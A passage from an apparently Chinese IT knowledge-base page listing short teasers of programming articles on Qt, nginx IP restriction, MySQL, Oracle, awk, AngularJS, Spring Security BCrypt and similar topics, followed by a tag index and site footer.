<div>原文地址:https://blog.csdn.net/dbzhang800/article/details/6741344上一部分漫谈QWidget及其派生类(一)介绍了QWidget及其派生类,分:窗口、普通控件两种类型(其实有个Qt::SubWindow没有提,不过本系列中也没有介绍它的打算,因为我不熟)。本文接下来试图看看QLayout与窗口的几何尺寸控制。注意:本文只是试图解释,QLayo</div> </li> <li><a href="/article/91.htm" title="java解析APK" target="_blank">java解析APK</a> <span class="text-muted">3213213333332132</span> <a class="tag" taget="_blank" href="/search/java/1.htm">java</a><a class="tag" taget="_blank" href="/search/apk/1.htm">apk</a><a class="tag" taget="_blank" href="/search/linux/1.htm">linux</a><a class="tag" taget="_blank" href="/search/%E8%A7%A3%E6%9E%90APK/1.htm">解析APK</a> <div>解析apk有两种方法 1、结合安卓提供apktool工具,用java执行cmd解析命令获取apk信息 2、利用相关jar包里的集成方法解析apk 这里只给出第二种方法,因为第一种方法在linux服务器下会出现不在控制范围之内的结果。 public class ApkUtil { /** * 日志对象 */ private static Logger </div> </li> <li><a href="/article/218.htm" title="nginx自定义ip访问N种方法" target="_blank">nginx自定义ip访问N种方法</a> <span class="text-muted">ronin47</span> <a class="tag" taget="_blank" href="/search/nginx+%E7%A6%81%E6%AD%A2ip%E8%AE%BF%E9%97%AE/1.htm">nginx 禁止ip访问</a> <div>   因业务需要,禁止一部分内网访问接口, 由于前端架了F5,直接用deny或allow是不行的,这是因为直接获取的前端F5的地址。    所以开始思考有哪些主案可以实现这样的需求,目前可实施的是三种:    一:把ip段放在redis里,写一段lua &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 二:利用geo传递变量,写一段</div> </li> <li><a href="/article/345.htm" title="mysql timestamp类型字段的CURRENT_TIMESTAMP与ON UPDATE CURRENT_TIMESTAMP属性" target="_blank">mysql timestamp类型字段的CURRENT_TIMESTAMP与ON UPDATE CURRENT_TIMESTAMP属性</a> <span class="text-muted">dcj3sjt126com</span> <a class="tag" taget="_blank" href="/search/mysql/1.htm">mysql</a> <div>timestamp有两个属性,分别是CURRENT_TIMESTAMP 和ON UPDATE CURRENT_TIMESTAMP两种,使用情况分别如下: &nbsp; 1. &nbsp; CURRENT_TIMESTAMP&nbsp; &nbsp; 当要向数据库执行insert操作时,如果有个timestamp字段属性设为 &nbsp; CURRENT_TIMESTAMP,则无论这</div> </li> <li><a href="/article/472.htm" title="struts2+spring+hibernate分页显示" target="_blank">struts2+spring+hibernate分页显示</a> <span class="text-muted">171815164</span> <a class="tag" taget="_blank" href="/search/Hibernate/1.htm">Hibernate</a> <div>分页显示一直是web开发中一大烦琐的难题,传统的网页设计只在一个JSP或者ASP页面中书写所有关于数据库操作的代码,那样做分页可能简单一点,但当把网站分层开发后,分页就比较困难了,下面是我做Spring+Hibernate+Struts2项目时设计的分页代码,与大家分享交流。   1、DAO层接口的设计,在MemberDao接口中定义了如下两个方法: public in</div> </li> <li><a href="/article/599.htm" title="构建自己的Wrapper应用" target="_blank">构建自己的Wrapper应用</a> <span class="text-muted">g21121</span> <a class="tag" taget="_blank" href="/search/rap/1.htm">rap</a> <div>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 我们已经了解Wrapper的目录结构,下面可是正式利用Wrapper来包装我们自己的应用,这里假设Wrapper的安装目录为:/usr/local/wrapper。 &nbsp; &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 首先,创建项目应用 &nbsp; &nb</div> </li> <li><a href="/article/726.htm" title="[简单]工作记录_多线程相关" target="_blank">[简单]工作记录_多线程相关</a> <span class="text-muted">53873039oycg</span> <a class="tag" taget="_blank" href="/search/%E5%A4%9A%E7%BA%BF%E7%A8%8B/1.htm">多线程</a> <div>&nbsp;&nbsp;&nbsp;&nbsp; 最近遇到多线程的问题,原来使用异步请求多个接口(n*3次请求)&nbsp;&nbsp;&nbsp;&nbsp; 方案一 使用多线程一次返回数据,最开始是使用5个线程,一个线程顺序请求3个接口,超时终止返回&nbsp;&nbsp;&nbsp;&nbsp; 缺点&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 测试发现必须3个接</div> </li> <li><a href="/article/853.htm" title="调试jdk中的源码,查看jdk局部变量" target="_blank">调试jdk中的源码,查看jdk局部变量</a> <span class="text-muted">程序员是怎么炼成的</span> <a class="tag" taget="_blank" href="/search/jdk+%E6%BA%90%E7%A0%81/1.htm">jdk 源码</a> <div>转自:http://www.douban.com/note/211369821/ &nbsp; &nbsp;学习jdk源码时使用-- &nbsp; 学习java最好的办法就是看jdk源代码,面对浩瀚的jdk(光源码就有40M多,比一个大型网站的源码都多)从何入手呢,要是能单步调试跟进到jdk源码里并且能查看其中的局部变量最好了。 可惜的是sun提供的jdk并不能查看运行中的局部变量</div> </li> <li><a href="/article/980.htm" title="Oracle RAC Failover 详解" target="_blank">Oracle RAC Failover 详解</a> <span class="text-muted">aijuans</span> <a class="tag" taget="_blank" href="/search/oracle/1.htm">oracle</a> <div>Oracle RAC 同时具备HA(High Availiablity) 和LB(LoadBalance). 而其高可用性的基础就是Failover(故障转移). 它指集群中任何一个节点的故障都不会影响用户的使用,连接到故障节点的用户会被自动转移到健康节点,从用户感受而言, 是感觉不到这种切换。 Oracle 10g RAC 的Failover 可以分为3种: 1. Client-Si</div> </li> <li><a href="/article/1107.htm" title="form表单提交数据编码方式及tomcat的接受编码方式" target="_blank">form表单提交数据编码方式及tomcat的接受编码方式</a> <span class="text-muted">antonyup_2006</span> <a class="tag" taget="_blank" href="/search/JavaScript/1.htm">JavaScript</a><a class="tag" taget="_blank" href="/search/tomcat/1.htm">tomcat</a><a class="tag" taget="_blank" href="/search/%E6%B5%8F%E8%A7%88%E5%99%A8/1.htm">浏览器</a><a class="tag" taget="_blank" href="/search/%E4%BA%92%E8%81%94%E7%BD%91/1.htm">互联网</a><a class="tag" taget="_blank" href="/search/servlet/1.htm">servlet</a> <div>原帖地址:http://www.iteye.com/topic/266705 form有2中方法把数据提交给服务器,get和post,分别说下吧。 (一)get提交 1.首先说下客户端(浏览器)的form表单用get方法是如何将数据编码后提交给服务器端的吧。 &nbsp;&nbsp; 对于get方法来说,都是把数据串联在请求的url后面作为参数,如:http://localhost:</div> </li> <li><a href="/article/1234.htm" title="JS初学者必知的基础" target="_blank">JS初学者必知的基础</a> <span class="text-muted">百合不是茶</span> <a class="tag" taget="_blank" href="/search/js%E5%87%BD%E6%95%B0/1.htm">js函数</a><a class="tag" taget="_blank" href="/search/js%E5%85%A5%E9%97%A8%E5%9F%BA%E7%A1%80/1.htm">js入门基础</a> <div>JavaScript是网页的交互语言,实现网页的各种效果, JavaScript 是世界上最流行的脚本语言。 JavaScript 是属于 web 的语言,它适用于 PC、笔记本电脑、平板电脑和移动电话。 JavaScript 被设计为向 HTML 页面增加交互性。 许多 HTML 开发者都不是程序员,但是 JavaScript 却拥有非常简单的语法。几乎每个人都有能力将小的 </div> </li> <li><a href="/article/1361.htm" title="iBatis的分页分析与详解" target="_blank">iBatis的分页分析与详解</a> <span class="text-muted">bijian1013</span> <a class="tag" taget="_blank" href="/search/java/1.htm">java</a><a class="tag" taget="_blank" href="/search/ibatis/1.htm">ibatis</a> <div>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 分页是操作数据库型系统常遇到的问题。分页实现方法很多,但效率的差异就很大了。iBatis是通过什么方式来实现这个分页的了。查看它的实现部分,发现返回的PaginatedList实际上是个接口,实现这个接口的是PaginatedDataList类的对象,查看PaginatedDataList类发现,每次翻页的时候最</div> </li> <li><a href="/article/1488.htm" title="精通Oracle10编程SQL(15)使用对象类型" target="_blank">精通Oracle10编程SQL(15)使用对象类型</a> <span class="text-muted">bijian1013</span> <a class="tag" taget="_blank" href="/search/oracle/1.htm">oracle</a><a class="tag" taget="_blank" href="/search/%E6%95%B0%E6%8D%AE%E5%BA%93/1.htm">数据库</a><a class="tag" taget="_blank" href="/search/plsql/1.htm">plsql</a> <div>/* *使用对象类型 */ --建立和使用简单对象类型 --对象类型包括对象类型规范和对象类型体两部分。 --建立和使用不包含任何方法的对象类型 CREATE OR REPLACE TYPE person_typ1 as OBJECT( name varchar2(10),gender varchar2(4),birthdate date ); drop type p</div> </li> <li><a href="/article/1615.htm" title="【Linux命令二】文本处理命令awk" target="_blank">【Linux命令二】文本处理命令awk</a> <span class="text-muted">bit1129</span> <a class="tag" taget="_blank" href="/search/linux%E5%91%BD%E4%BB%A4/1.htm">linux命令</a> <div>awk是Linux用来进行文本处理的命令,在日常工作中,广泛应用于日志分析。awk是一门解释型编程语言,包含变量,数组,循环控制结构,条件控制结构等。它的语法采用类C语言的语法。 &nbsp; awk命令用来做什么? 1.awk适用于具有一定结构的文本行,对其中的列进行提取信息 2.awk可以把当前正在处理的文本行提交给Linux的其它命令处理,然后把直接结构返回给awk 3.awk实际工</div> </li> <li><a href="/article/1742.htm" title="JAVA(ssh2框架)+Flex实现权限控制方案分析" target="_blank">JAVA(ssh2框架)+Flex实现权限控制方案分析</a> <span class="text-muted">白糖_</span> <a class="tag" taget="_blank" href="/search/java/1.htm">java</a> <div>&nbsp; 目前项目使用的是Struts2+Hibernate+Spring的架构模式,目前已经有一套针对SSH2的权限系统,运行良好。但是项目有了新需求:在目前系统的基础上使用Flex逐步取代JSP,在取代JSP过程中可能存在Flex与JSP并存的情况,所以权限系统需要进行修改。 【SSH2权限系统的实现机制】 权限控制分为页面和后台两块:不同类型用户的帐号分配的访问权限是不同的,用户使</div> </li> <li><a href="/article/1869.htm" title="angular.forEach" target="_blank">angular.forEach</a> <span class="text-muted">boyitech</span> <a class="tag" taget="_blank" href="/search/AngularJS/1.htm">AngularJS</a><a class="tag" taget="_blank" href="/search/AngularJS+API/1.htm">AngularJS API</a><a class="tag" taget="_blank" href="/search/angular.forEach/1.htm">angular.forEach</a> <div>angular.forEach 描述: 循环对obj对象的每个元素调用iterator, obj对象可以是一个Object或一个Array. Iterator函数调用方法: iterator(value, key, obj), 其中obj是被迭代对象,key是obj的property key或者是数组的index,value就是相应的值啦.&nbsp;(此函数不能够迭代继承的属性.) </div> </li> <li><a href="/article/1996.htm" title="java-谷歌面试题-给定一个排序数组,如何构造一个二叉排序树" target="_blank">java-谷歌面试题-给定一个排序数组,如何构造一个二叉排序树</a> <span class="text-muted">bylijinnan</span> <a class="tag" taget="_blank" href="/search/%E4%BA%8C%E5%8F%89%E6%8E%92%E5%BA%8F%E6%A0%91/1.htm">二叉排序树</a> <div> import java.util.LinkedList; public class CreateBSTfromSortedArray { /** * 题目:给定一个排序数组,如何构造一个二叉排序树 * 递归 */ public static void main(String[] args) { int[] data = { 1, 2, 3, 4, </div> </li> <li><a href="/article/2123.htm" title="action执行2次" target="_blank">action执行2次</a> <span class="text-muted">Chen.H</span> <a class="tag" taget="_blank" href="/search/JavaScript/1.htm">JavaScript</a><a class="tag" taget="_blank" href="/search/jsp/1.htm">jsp</a><a class="tag" taget="_blank" href="/search/XHTML/1.htm">XHTML</a><a class="tag" taget="_blank" href="/search/css/1.htm">css</a><a class="tag" taget="_blank" href="/search/Webwork/1.htm">Webwork</a> <div>xwork 写道 &lt;action name=&quot;userTypeAction&quot; class=&quot;com.ekangcount.website.system.view.action.UserTypeAction&quot;&gt; &lt;result name=&quot;ssss&quot; type=&quot;dispatcher&quot;&gt; </div> </li> <li><a href="/article/2250.htm" title="[时空与能量]逆转时空需要消耗大量能源" target="_blank">[时空与能量]逆转时空需要消耗大量能源</a> <span class="text-muted">comsci</span> <a class="tag" taget="_blank" href="/search/%E8%83%BD%E6%BA%90/1.htm">能源</a> <div> &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 无论如何,人类始终都想摆脱时间和空间的限制....但是受到质量与能量关系的限制,我们人类在目前和今后很长一段时间内,都无法获得大量廉价的能源来进行时空跨越..... &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 在进行时空穿梭的实验中,消耗超大规模的能源是必然</div> </li> <li><a href="/article/2377.htm" title="oracle的正则表达式(regular expression)详细介绍" target="_blank">oracle的正则表达式(regular expression)详细介绍</a> <span class="text-muted">daizj</span> <a class="tag" taget="_blank" href="/search/oracle/1.htm">oracle</a><a class="tag" taget="_blank" href="/search/%E6%AD%A3%E5%88%99%E8%A1%A8%E8%BE%BE%E5%BC%8F/1.htm">正则表达式</a> <div>&nbsp;&nbsp;&nbsp; 正则表达式是很多编程语言中都有的。可惜oracle8i、oracle9i中一直迟迟不肯加入,好在oracle10g中终于增加了期盼已久的正则表达式功能。你可以在oracle10g中使用正则表达式肆意地匹配你想匹配的任何字符串了。 正则表达式中常用到的元数据(metacharacter)如下: ^ 匹配字符串的开头位置。 $ 匹配支付传的结尾位置。 * </div> </li> <li><a href="/article/2504.htm" title="报表工具与报表性能的关系" target="_blank">报表工具与报表性能的关系</a> <span class="text-muted">datamachine</span> <a class="tag" taget="_blank" href="/search/%E6%8A%A5%E8%A1%A8%E5%B7%A5%E5%85%B7/1.htm">报表工具</a><a class="tag" taget="_blank" href="/search/birt/1.htm">birt</a><a class="tag" taget="_blank" href="/search/%E6%8A%A5%E8%A1%A8%E6%80%A7%E8%83%BD/1.htm">报表性能</a><a class="tag" taget="_blank" href="/search/%E6%B6%A6%E4%B9%BE%E6%8A%A5%E8%A1%A8/1.htm">润乾报表</a> <div>在选择报表工具时,性能一直是用户关心的指标,但是,报表工具的性能和整个报表系统的性能有多大关系呢? 要回答这个问题,首先要分析一下报表的处理过程包含哪些环节,哪些环节容易出现性能瓶颈,如何优化这些环节。 &nbsp; 一、报表处理的一般过程分析 1、用户选择报表输入参数后,报表引擎会根据报表模板和输入参数来解析报表,并将数据计算和读取请求以SQL的方式发送给数据库。 &nbsp; 2、</div> </li> <li><a href="/article/2631.htm" title="初一上学期难记忆单词背诵第一课" target="_blank">初一上学期难记忆单词背诵第一课</a> <span class="text-muted">dcj3sjt126com</span> <a class="tag" taget="_blank" href="/search/word/1.htm">word</a><a class="tag" taget="_blank" href="/search/english/1.htm">english</a> <div>what 什么&nbsp; your 你 name 名字 my 我的 am 是 one 一 two 二 three 三 four 四 five 五 class 班级,课 &nbsp; six 六 seven 七 eight 八 nince 九 ten 十 zero 零 how 怎样 old 老的 eleven 十一 twelve 十二 thirteen </div> </li> <li><a href="/article/2758.htm" title="我学过和准备学的各种技术" target="_blank">我学过和准备学的各种技术</a> <span class="text-muted">dcj3sjt126com</span> <a class="tag" taget="_blank" href="/search/%E6%8A%80%E6%9C%AF/1.htm">技术</a> <div>语言VB&nbsp;https://msdn.microsoft.com/zh-cn/library/2x7h1hfk.aspxJava&nbsp;http://docs.oracle.com/javase/8/C#&nbsp;https://msdn.microsoft.com/library/vstudioPHP&nbsp;http://php.net/manual/en/Html&nbsp;</div> </li> <li><a href="/article/2885.htm" title="struts2中token防止重复提交表单" target="_blank">struts2中token防止重复提交表单</a> <span class="text-muted">蕃薯耀</span> <a class="tag" taget="_blank" href="/search/%E9%87%8D%E5%A4%8D%E6%8F%90%E4%BA%A4%E8%A1%A8%E5%8D%95/1.htm">重复提交表单</a><a class="tag" taget="_blank" href="/search/struts2%E4%B8%ADtoken/1.htm">struts2中token</a> <div>struts2中token防止重复提交表单 &nbsp; &gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt; 蕃薯耀 2015年7月12日 11:52:32 星期日 ht</div> </li> <li><a href="/article/3012.htm" title="线性查找二维数组" target="_blank">线性查找二维数组</a> <span class="text-muted">hao3100590</span> <a class="tag" taget="_blank" href="/search/%E4%BA%8C%E7%BB%B4%E6%95%B0%E7%BB%84/1.htm">二维数组</a> <div>1.算法描述 有序(行有序,列有序,且每行从左至右递增,列从上至下递增)二维数组查找,要求复杂度O(n) &nbsp; 2.使用到的相关知识: 结构体定义和使用,二维数组传递(http://blog.csdn.net/yzhhmhm/article/details/2045816) &nbsp; 3.使用数组名传递 这个的不便之处很明显,一旦确定就是不能设置列值 //使</div> </li> <li><a href="/article/3139.htm" title="spring security 3中推荐使用BCrypt算法加密密码" target="_blank">spring security 3中推荐使用BCrypt算法加密密码</a> <span class="text-muted">jackyrong</span> <a class="tag" taget="_blank" href="/search/Spring+Security/1.htm">Spring Security</a> <div>spring security 3中推荐使用BCrypt算法加密密码了,以前使用的是md5, Md5PasswordEncoder 和 ShaPasswordEncoder,现在不推荐了,推荐用bcrpt Bcrpt中的salt可以是随机的,比如: int i = 0; while (i &lt; 10) { String password = &quot;1234</div> </li> <li><a href="/article/3266.htm" title="学习编程并不难,做到以下几点即可!" target="_blank">学习编程并不难,做到以下几点即可!</a> <span class="text-muted">lampcy</span> <a class="tag" taget="_blank" href="/search/java/1.htm">java</a><a class="tag" taget="_blank" href="/search/html/1.htm">html</a><a class="tag" taget="_blank" href="/search/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/1.htm">编程语言</a> <div>不论你是想自己设计游戏,还是开发iPhone或安卓手机上的应用,还是仅仅为了娱乐,学习编程语言都是一条必经之路。编程语言种类繁多,用途各 异,然而一旦掌握其中之一,其他的也就迎刃而解。作为初学者,你可能要先从Java或HTML开始学,一旦掌握了一门编程语言,你就发挥无穷的想象,开发 各种神奇的软件啦。 1、确定目标 学习编程语言既充满乐趣,又充满挑战。有些花费多年时间学习一门编程语言的大学生到</div> </li> <li><a href="/article/3393.htm" title="架构师之mysql----------------用group+inner join,left join ,right join 查重复数据(替代in)" target="_blank">架构师之mysql----------------用group+inner join,left join ,right join 查重复数据(替代in)</a> <span class="text-muted">nannan408</span> <a class="tag" taget="_blank" href="/search/right+join/1.htm">right join</a> <div>1.前言。 &nbsp; 如题。 2.代码 (1)单表查重复数据,根据a分组 &nbsp; SELECT m.a,m.b, INNER JOIN (select a,b,COUNT(*) AS rank FROM test.`A` A GROUP BY a HAVING rank&gt;1 )k ON m.a=k.a (2)多表查询 , 使用改为le</div> </li> <li><a href="/article/3520.htm" title="jQuery选择器小结 VS 节点查找(附css的一些东西)" target="_blank">jQuery选择器小结 VS 节点查找(附css的一些东西)</a> <span class="text-muted">Everyday都不同</span> <a class="tag" taget="_blank" href="/search/jquery/1.htm">jquery</a><a class="tag" taget="_blank" href="/search/css/1.htm">css</a><a class="tag" taget="_blank" href="/search/name%E9%80%89%E6%8B%A9%E5%99%A8/1.htm">name选择器</a><a class="tag" taget="_blank" href="/search/%E8%BF%BD%E5%8A%A0%E5%85%83%E7%B4%A0/1.htm">追加元素</a><a class="tag" taget="_blank" href="/search/%E6%9F%A5%E6%89%BE%E8%8A%82%E7%82%B9/1.htm">查找节点</a> <div>最近做前端页面,频繁用到一些jQuery的选择器,所以特意来总结一下: &nbsp; 测试页面: &lt;html&gt; &lt;head&gt; &lt;script src=&quot;jquery-1.7.2.min.js&quot;&gt;&lt;/script&gt; &lt;script&gt; /*$(function() { $(documen</div> </li> <li><a href="/article/3647.htm" title="关于EXT" target="_blank">关于EXT</a> <span class="text-muted">tntxia</span> <a class="tag" taget="_blank" href="/search/ext/1.htm">ext</a> <div>&nbsp; ExtJS是一个很不错的Ajax框架,可以用来开发带有华丽外观的富客户端应用,使得我们的b/s应用更加具有活力及生命力。ExtJS是一个用 javascript编写,与后台技术无关的前端ajax框架。因此,可以把ExtJS用在.Net、Java、Php等各种开发语言开发的应用中。 &nbsp; &nbsp; &nbsp; ExtJs最开始基于YUI技术,由开发人员Jack </div> </li> <li><a href="/article/3774.htm" title="一个MIT计算机博士对数学的思考" target="_blank">一个MIT计算机博士对数学的思考</a> <span class="text-muted">xjnine</span> <a class="tag" taget="_blank" href="/search/Math/1.htm">Math</a> <div>&nbsp;在过去的一年中,我一直在数学的海洋中游荡,research进展不多,对于数学世界的阅历算是有了一些长进。为什么要深入数学的世界?作为计算机的学生,我没有任何企图要成为一个数学家。我学习数学的目的,是要想爬上巨人的肩膀,希望站在更高的高度,能把我自己研究的东西看得更深广一些。说起来,我在刚来这个学校的时候,并没有预料到我将会有一个深入数学的旅程。我的导师最初希望我去做的题目,是对appe</div> </li> </ul> </div> </div> </div> <div> <div class="container"> <div class="indexes"> <strong>按字母分类:</strong> <a href="/tags/A/1.htm" target="_blank">A</a><a href="/tags/B/1.htm" target="_blank">B</a><a href="/tags/C/1.htm" target="_blank">C</a><a href="/tags/D/1.htm" target="_blank">D</a><a href="/tags/E/1.htm" target="_blank">E</a><a href="/tags/F/1.htm" target="_blank">F</a><a href="/tags/G/1.htm" target="_blank">G</a><a href="/tags/H/1.htm" target="_blank">H</a><a href="/tags/I/1.htm" target="_blank">I</a><a href="/tags/J/1.htm" target="_blank">J</a><a href="/tags/K/1.htm" target="_blank">K</a><a href="/tags/L/1.htm" target="_blank">L</a><a href="/tags/M/1.htm" target="_blank">M</a><a href="/tags/N/1.htm" target="_blank">N</a><a href="/tags/O/1.htm" target="_blank">O</a><a href="/tags/P/1.htm" target="_blank">P</a><a href="/tags/Q/1.htm" target="_blank">Q</a><a href="/tags/R/1.htm" target="_blank">R</a><a href="/tags/S/1.htm" target="_blank">S</a><a href="/tags/T/1.htm" target="_blank">T</a><a href="/tags/U/1.htm" target="_blank">U</a><a href="/tags/V/1.htm" target="_blank">V</a><a href="/tags/W/1.htm" target="_blank">W</a><a href="/tags/X/1.htm" target="_blank">X</a><a href="/tags/Y/1.htm" target="_blank">Y</a><a href="/tags/Z/1.htm" target="_blank">Z</a><a href="/tags/0/1.htm" target="_blank">其他</a> </div> </div> </div> <footer id="footer" class="mb30 mt30"> <div class="container"> <div class="footBglm"> <a target="_blank" href="/">首页</a> - <a target="_blank" href="/custom/about.htm">关于我们</a> - <a target="_blank" href="/search/Java/1.htm">站内搜索</a> - <a target="_blank" href="/sitemap.txt">Sitemap</a> - <a target="_blank" href="/custom/delete.htm">侵权投诉</a> </div> <div class="copyright">版权所有 IT知识库 CopyRight © 2000-2050 E-COM-NET.COM , All Rights Reserved. <!-- <a href="https://beian.miit.gov.cn/" rel="nofollow" target="_blank">京ICP备09083238号</a><br>--> </div> </div> </footer> <!-- 代码高亮 --> <script type="text/javascript" src="/static/syntaxhighlighter/scripts/shCore.js"></script> <script type="text/javascript" src="/static/syntaxhighlighter/scripts/shLegacy.js"></script> <script type="text/javascript" src="/static/syntaxhighlighter/scripts/shAutoloader.js"></script> <link type="text/css" rel="stylesheet" href="/static/syntaxhighlighter/styles/shCoreDefault.css"/> <script type="text/javascript" src="/static/syntaxhighlighter/src/my_start_1.js"></script> </body> </html>